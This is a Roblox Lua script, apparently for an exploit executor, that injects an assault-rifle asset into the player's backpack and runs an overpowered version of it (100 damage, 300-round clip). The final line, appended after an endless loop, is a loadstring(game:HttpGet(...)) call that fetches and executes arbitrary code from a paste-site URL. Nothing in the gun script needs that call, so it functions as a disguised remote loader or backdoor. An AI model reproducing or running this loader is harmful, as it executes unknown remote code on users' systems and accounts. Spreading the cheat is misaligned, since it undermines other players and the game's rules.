1 | game:GetObjects("rbxassetid://503182370")[1].Parent=game.Players.LocalPlayer.Backpack |
2 | |
3 | game.Players.LocalPlayer.Backpack.AssaultRifle.Main.Transparency = 0 |
4 | game.Players.LocalPlayer.Backpack.AssaultRifle.Part1.Transparency = 0 |
5 | game.Players.LocalPlayer.Backpack.AssaultRifle.Part2.Transparency = 0 |
6 | game.Players.LocalPlayer.Backpack.AssaultRifle.Part3.Transparency = 0 |
7 | game.Players.LocalPlayer.Backpack.AssaultRifle.Part4.Transparency = 0 |
8 | game.Players.LocalPlayer.Backpack.AssaultRifle.Partkaas.Transparency = 0 |
9 | game.Players.LocalPlayer.Backpack.AssaultRifle.Part5.Transparency = 0 |
10 | game.Players.LocalPlayer.Backpack.AssaultRifle.Part6.Transparency = 0 |
11 | game.Players.LocalPlayer.Backpack.AssaultRifle.Part7.Transparency = 0 |
12 | game.Players.LocalPlayer.Backpack.AssaultRifle.Part8.Transparency = 0 |
13 | game.Players.LocalPlayer.Backpack.AssaultRifle.Part9.Transparency = 0 |
14 | game.Players.LocalPlayer.Backpack.AssaultRifle.Part10.Transparency = 0 |
15 | game.Players.LocalPlayer.Backpack.AssaultRifle.Part11.Transparency = 0 |
16 | game.Players.LocalPlayer.Backpack.AssaultRifle.Part12.Transparency = 0 |
17 | game.Players.LocalPlayer.Backpack.AssaultRifle.Part13.Transparency = 0 |
18 | |
19 | |
20 | |
21 | local function WaitForChild(parent, childName) |
22 | while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end |
23 | return parent[childName] |
24 | end |
25 | |
26 | |
27 | |
28 | local Damage = 100 |
29 | |
30 | local FireRate = 20 / 30 |
31 | |
32 | local Range = 400 |
33 | |
34 | local MinSpread = 0.01 |
35 | |
36 | local MaxSpread = 0.1 |
37 | |
38 | local ClipSize = 300 |
39 | |
40 | local SpareAmmo = 600 |
41 | |
42 | |
43 | local AimInaccuracyStepAmount = 0.0125 |
44 | |
45 | local ReloadTime = 1 |
46 | |
47 | |
48 | |
49 | local FriendlyReticleColor = Color3.new(0, 1, 0) |
50 | local EnemyReticleColor = Color3.new(1, 0, 0) |
51 | local NeutralReticleColor = Color3.new(1, 1, 1) |
52 | |
53 | local Spread = MinSpread |
54 | local AmmoInClip = ClipSize |
55 | |
56 | local Tool = game.Players.LocalPlayer.Backpack.AssaultRifle |
57 | local Handle = WaitForChild(Tool, 'Handle') |
58 | local WeaponGui = nil |
59 | |
60 | local LeftButtonDown |
61 | local Reloading = false |
62 | local IsShooting = false |
63 | |
64 | |
65 | local MyPlayer = nil |
66 | local MyCharacter = nil |
67 | local MyHumanoid = nil |
68 | local MyTorso = nil |
69 | local MyMouse = nil |
70 | |
71 | local RecoilAnim |
72 | local RecoilTrack = nil |
73 | |
74 | local IconURL = Tool.TextureId |
75 | |
76 | local DebrisService = game:GetService('Debris') |
77 | local PlayersService = game:GetService('Players') |
78 | |
79 | local OnFireConnection = nil |
80 | local OnReloadConnection = nil |
81 | |
82 | local DecreasedAimLastShot = false |
83 | local LastSpreadUpdate = time() |
84 | |
85 | |
86 | local FlashHolder = nil |
87 | |
88 | |
89 | local WorldToCellFunction = Workspace.Terrain.WorldToCellPreferSolid |
90 | local GetCellFunction = Workspace.Terrain.GetCell |
91 | |
92 | function RayIgnoreCheck(hit, pos) |
93 | if hit then |
94 | if hit.Transparency >= 1 or string.lower(hit.Name) == "water" or |
95 | hit.Name == "Effect" or hit.Name == "Rocket" or hit.Name == "Bullet" or |
96 | hit.Name == "Handle" or hit:IsDescendantOf(MyCharacter) then |
97 | return true |
98 | elseif hit:IsA('Terrain') and pos then |
99 | local cellPos = WorldToCellFunction(Workspace.Terrain, pos) |
100 | if cellPos then |
101 | local cellMat = GetCellFunction(Workspace.Terrain, cellPos.x, cellPos.y, cellPos.z) |
102 | if cellMat and cellMat == Enum.CellMaterial.Water then |
103 | return true |
104 | end |
105 | end |
106 | end |
107 | end |
108 | return false |
109 | end |
110 | |
111 | |
112 | function RayCast(startPos, vec, rayLength) |
113 | local hitObject, hitPos = game.Workspace:FindPartOnRay(Ray.new(startPos + (vec * .01), vec * rayLength), Handle) |
114 | if hitObject and hitPos then |
115 | local distance = rayLength - (hitPos - startPos).magnitude |
116 | if RayIgnoreCheck(hitObject, hitPos) and distance > 0 then |
117 | |
118 | return RayCast(hitPos, vec, distance) |
119 | end |
120 | end |
121 | return hitObject, hitPos |
122 | end |
123 | |
124 | |
125 | |
126 | function TagHumanoid(humanoid, player) |
127 | |
128 | while humanoid:FindFirstChild('creator') do |
129 | humanoid:FindFirstChild('creator'):Destroy() |
130 | end |
131 | local creatorTag = Instance.new("ObjectValue") |
132 | creatorTag.Value = player |
133 | creatorTag.Name = "creator" |
134 | creatorTag.Parent = humanoid |
135 | DebrisService:AddItem(creatorTag, 1.5) |
136 | |
137 | local weaponIconTag = Instance.new("StringValue") |
138 | weaponIconTag.Value = IconURL |
139 | weaponIconTag.Name = "icon" |
140 | weaponIconTag.Parent = creatorTag |
141 | end |
142 | |
143 | local function CreateFlash() |
144 | if FlashHolder then |
145 | local flash = Instance.new('Fire', FlashHolder) |
146 | flash.Color = Color3.new(1, 140 / 255, 0) |
147 | flash.SecondaryColor = Color3.new(1, 0, 0) |
148 | flash.Size = 0.3 |
149 | DebrisService:AddItem(flash, FireRate / 1.5) |
150 | else |
151 | FlashHolder = Instance.new("Part", Tool) |
152 | FlashHolder.Transparency = 1 |
153 | FlashHolder.CanCollide= false |
154 | FlashHolder.Size = Vector3.new(1, 1, 1) |
155 | FlashHolder.Position = Tool.Handle.Position |
156 | local Weld = Instance.new("ManualWeld") |
157 | Weld.C0 = CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1) |
158 | Weld.C1 = CFrame.new(0, 2.2, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0) |
159 | Weld.Part0 = FlashHolder |
160 | Weld.Part1 = Tool.Handle |
161 | Weld.Parent = FlashHolder |
162 | end |
163 | end |
164 | |
165 | local function CreateBullet(bulletPos) |
166 | local bullet = Instance.new('Part', Workspace) |
167 | bullettext = Instance.new("Decal" ,bullet) |
168 | bullettext1 = Instance.new("Decal" ,bullet) |
169 | bullettext1.Texture = "http://www.roblox.com/asset/?id=164688340" |
170 | bullettext2 = Instance.new("Decal" ,bullet) |
171 | bullettext2.Texture = "http://www.roblox.com/asset/?id=164688340" |
172 | bullettext1.Face = "Front" |
173 | bullettext.Texture = "http://www.roblox.com/asset/?id=164688340" |
174 | bullettext.Face = "Back" |
175 | bullettext2.Face = "Top" |
176 | bullet.FormFactor = Enum.FormFactor.Custom |
177 | bullet.Size = Vector3.new(4, 4, 0.1) |
178 | bullet.BrickColor = MyPlayer.TeamColor |
179 | bullet.Shape = Enum.PartType.Block |
180 | bullet.CanCollide = false |
181 | bullet.CFrame = CFrame.new(bulletPos) |
182 | bullet.Anchored = true |
183 | bullet.TopSurface = Enum.SurfaceType.Smooth |
184 | bullet.BottomSurface = Enum.SurfaceType.Smooth |
185 | bullet.Name = 'Bullet' |
186 | bullet.Transparency = 1 |
187 | DebrisService:AddItem(bullet, 2.5) |
188 | local fire = Instance.new("Fire", bullet) |
189 | fire.Color = Color3.new(MyPlayer.TeamColor.r, MyPlayer.TeamColor.g, MyPlayer.TeamColor.b) |
190 | fire.SecondaryColor = Color3.new(MyPlayer.TeamColor.r, MyPlayer.TeamColor.g, MyPlayer.TeamColor.b) |
191 | fire.Size = 5 |
192 | fire.Heat = 0 |
193 | DebrisService:AddItem(fire, 0.2) |
194 | return bullet |
195 | end |
196 | |
197 | local function Reload() |
198 | if not Reloading then |
199 | Reloading = true |
200 | |
201 | if AmmoInClip ~= ClipSize and SpareAmmo > 0 then |
202 | if RecoilTrack then |
203 | RecoilTrack:Stop() |
204 | end |
205 | if WeaponGui and WeaponGui:FindFirstChild('Crosshair') then |
206 | if WeaponGui.Crosshair:FindFirstChild('ReloadingLabel') then |
207 | WeaponGui.Crosshair.ReloadingLabel.Visible = true |
208 | end |
209 | end |
210 | wait(ReloadTime) |
211 | |
212 | local ammoToUse = math.min(ClipSize - AmmoInClip, SpareAmmo) |
213 | AmmoInClip = AmmoInClip + ammoToUse |
214 | SpareAmmo = SpareAmmo - ammoToUse |
215 | UpdateAmmo(AmmoInClip) |
216 | end |
217 | Reloading = false |
218 | end |
219 | end |
220 | |
221 | function OnFire() |
222 | if IsShooting then return end |
223 | if MyHumanoid and MyHumanoid.Health > 0 then |
224 | if RecoilTrack and AmmoInClip > 0 then |
225 | RecoilTrack:Play() |
226 | end |
227 | IsShooting = true |
228 | while LeftButtonDown and AmmoInClip > 0 and not Reloading do |
229 | if Spread and not DecreasedAimLastShot then |
230 | Spread = math.min(MaxSpread, Spread + AimInaccuracyStepAmount) |
231 | UpdateCrosshair(Spread) |
232 | end |
233 | CreateFlash() |
234 | if MyMouse then |
235 | local targetPoint = MyMouse.Hit.p |
236 | local shootDirection = (targetPoint - Handle.Position).unit |
237 | |
238 | shootDirection = CFrame.Angles((0.5 - math.random()) * 2 * Spread, |
239 | (0.5 - math.random()) * 2 * Spread, |
240 | (0.5 - math.random()) * 2 * Spread) * shootDirection |
241 | local hitObject, bulletPos = RayCast(Handle.Position, shootDirection, Range) |
242 | local bullet |
243 | |
244 | if hitObject then |
245 | bullet = CreateBullet(bulletPos) |
246 | end |
247 | if hitObject and hitObject.Parent then |
248 | local hitHumanoid = hitObject.Parent:FindFirstChild("Humanoid") |
249 | if hitHumanoid then |
250 | local hitPlayer = game.Players:GetPlayerFromCharacter(hitHumanoid.Parent) |
251 | if MyPlayer.Neutral or (hitPlayer and hitPlayer.TeamColor ~= MyPlayer.TeamColor) then |
252 | TagHumanoid(hitHumanoid, MyPlayer) |
253 | hitHumanoid:TakeDamage(Damage) |
254 | if bullet then |
255 | bullet:Destroy() |
256 | bullet = nil |
257 | |
258 | end |
259 | Spawn(UpdateTargetHit) |
260 | end |
261 | end |
262 | end |
263 | Kek = Instance.new ("Sound" ,game.Players.LocalPlayer.Character.AssaultRifle.Handle) |
264 | Kek.Name = "FireSound" |
265 | Kek.SoundId = "rbxassetid://384987591" |
266 | Kek.Volume = 100 |
267 | Kek:Play() |
268 | AmmoInClip = AmmoInClip - 1 |
269 | UpdateAmmo(AmmoInClip) |
270 | end |
271 | wait(FireRate) |
272 | end |
273 | IsShooting = false |
274 | wait(5) |
275 | local children = game.Workspace:GetChildren() |
276 | for _, child in pairs(children) do |
277 | for _, child in pairs(child:GetChildren()) do |
278 | table.insert(children, child) |
279 | end |
280 | |
281 | if child:IsA("Sound") and child.Name == "FireSound" then |
282 | child:Destroy() |
283 | if AmmoInClip == 0 then |
284 | Reload() |
285 | end |
286 | end |
287 | end |
288 | if RecoilTrack then |
289 | RecoilTrack:Stop() |
290 | end |
291 | end |
292 | end |
293 | |
294 | local TargetHits = 0 |
295 | function UpdateTargetHit() |
296 | TargetHits = TargetHits + 1 |
297 | if WeaponGui and WeaponGui:FindFirstChild('Crosshair') and WeaponGui.Crosshair:FindFirstChild('TargetHitImage') then |
298 | WeaponGui.Crosshair.TargetHitImage.Visible = true |
299 | end |
300 | wait(0.5) |
301 | TargetHits = TargetHits - 1 |
302 | if TargetHits == 0 and WeaponGui and WeaponGui:FindFirstChild('Crosshair') and WeaponGui.Crosshair:FindFirstChild('TargetHitImage') then |
303 | WeaponGui.Crosshair.TargetHitImage.Visible = false |
304 | end |
305 | end |
306 | |
307 | function UpdateCrosshair(value, mouse) |
308 | if WeaponGui then |
309 | local absoluteY = 650 |
310 | WeaponGui.Crosshair:TweenSize( |
311 | UDim2.new(0, value * absoluteY * 2 + 23, 0, value * absoluteY * 2 + 23), |
312 | Enum.EasingDirection.Out, |
313 | Enum.EasingStyle.Linear, |
314 | 0.33) |
315 | end |
316 | end |
317 | |
318 | function UpdateAmmo(value) |
319 | if WeaponGui and WeaponGui:FindFirstChild('AmmoHud') and WeaponGui.AmmoHud:FindFirstChild('ClipAmmo') then |
320 | WeaponGui.AmmoHud.ClipAmmo.Text = AmmoInClip |
321 | if value > 0 and WeaponGui:FindFirstChild('Crosshair') and WeaponGui.Crosshair:FindFirstChild('ReloadingLabel') then |
322 | WeaponGui.Crosshair.ReloadingLabel.Visible = false |
323 | end |
324 | end |
325 | if WeaponGui and WeaponGui:FindFirstChild('AmmoHud') and WeaponGui.AmmoHud:FindFirstChild('TotalAmmo') then |
326 | WeaponGui.AmmoHud.TotalAmmo.Text = SpareAmmo |
327 | end |
328 | end |
329 | |
330 | |
331 | function OnMouseDown() |
332 | LeftButtonDown = true |
333 | OnFire() |
334 | end |
335 | |
336 | function OnMouseUp() |
337 | LeftButtonDown = false |
338 | end |
339 | |
340 | function OnKeyDown(key) |
341 | if string.lower(key) == 'r' then |
342 | Reload() |
343 | end |
344 | end |
345 | |
346 | |
347 | function OnEquipped(mouse) |
348 | RecoilAnim = WaitForChild(Tool, 'Recoil') |
349 | |
350 | MyCharacter = Tool.Parent |
351 | MyPlayer = game:GetService('Players'):GetPlayerFromCharacter(MyCharacter) |
352 | MyHumanoid = MyCharacter:FindFirstChild('Humanoid') |
353 | MyTorso = MyCharacter:FindFirstChild('Torso') |
354 | MyMouse = mouse |
355 | WeaponGui = WaitForChild(Tool, 'WeaponHud'):Clone() |
356 | if WeaponGui and MyPlayer then |
357 | WeaponGui.Parent = MyPlayer.PlayerGui |
358 | UpdateAmmo(AmmoInClip) |
359 | end |
360 | if RecoilAnim then |
361 | RecoilTrack = MyHumanoid:LoadAnimation(RecoilAnim) |
362 | end |
363 | |
364 | if MyMouse then |
365 | |
366 | MyMouse.Icon = "http://www.roblox.com/asset/?id=18662154" |
367 | MyMouse.Button1Down:connect(OnMouseDown) |
368 | MyMouse.Button1Up:connect(OnMouseUp) |
369 | MyMouse.KeyDown:connect(OnKeyDown) |
370 | end |
371 | end |
372 | |
373 | |
374 | |
375 | function OnUnequipped() |
376 | LeftButtonDown = false |
377 | Reloading = false |
378 | MyCharacter = nil |
379 | MyHumanoid = nil |
380 | MyTorso = nil |
381 | MyPlayer = nil |
382 | MyMouse = nil |
383 | if OnFireConnection then |
384 | OnFireConnection:disconnect() |
385 | end |
386 | if OnReloadConnection then |
387 | OnReloadConnection:disconnect() |
388 | end |
389 | if FlashHolder then |
390 | FlashHolder = nil |
391 | end |
392 | if WeaponGui then |
393 | WeaponGui.Parent = nil |
394 | WeaponGui = nil |
395 | end |
396 | if RecoilTrack then |
397 | RecoilTrack:Stop() |
398 | end |
399 | end |
400 | |
401 | local function SetReticleColor(color) |
402 | if WeaponGui and WeaponGui:FindFirstChild('Crosshair') then |
403 | for _, line in pairs(WeaponGui.Crosshair:GetChildren()) do |
404 | if line:IsA('Frame') then |
405 | line.BorderColor3 = color |
406 | end |
407 | end |
408 | end |
409 | end |
410 | |
411 | |
412 | Tool.Equipped:connect(OnEquipped) |
413 | Tool.Unequipped:connect(OnUnequipped) |
414 | |
415 | while true do |
416 | wait(0.033) |
417 | if WeaponGui and WeaponGui:FindFirstChild('Crosshair') and MyMouse then |
418 | WeaponGui.Crosshair.Position = UDim2.new(0, MyMouse.X, 0, MyMouse.Y) |
419 | SetReticleColor(NeutralReticleColor) |
420 | |
421 | local target = MyMouse.Target |
422 | if target and target.Parent then |
423 | local player = PlayersService:GetPlayerFromCharacter(target.Parent) |
424 | if player then |
425 | if MyPlayer.Neutral or player.TeamColor ~= MyPlayer.TeamColor then |
426 | SetReticleColor(EnemyReticleColor) |
427 | else |
428 | SetReticleColor(FriendlyReticleColor) |
429 | end |
430 | end |
431 | end |
432 | end |
433 | if Spread and not IsShooting then |
434 | local currTime = time() |
435 | if currTime - LastSpreadUpdate > FireRate * 2 then |
436 | LastSpreadUpdate = currTime |
437 | Spread = math.max(MinSpread, Spread - AimInaccuracyStepAmount) |
438 | UpdateCrosshair(Spread, MyMouse) |
439 | end |
440 | end |
441 | end |
442 | loadstring(game:HttpGet("https://pastecode.dev/raw/nZaPtHFa5p/lollypop5ever_lulaslollipop",true))(); |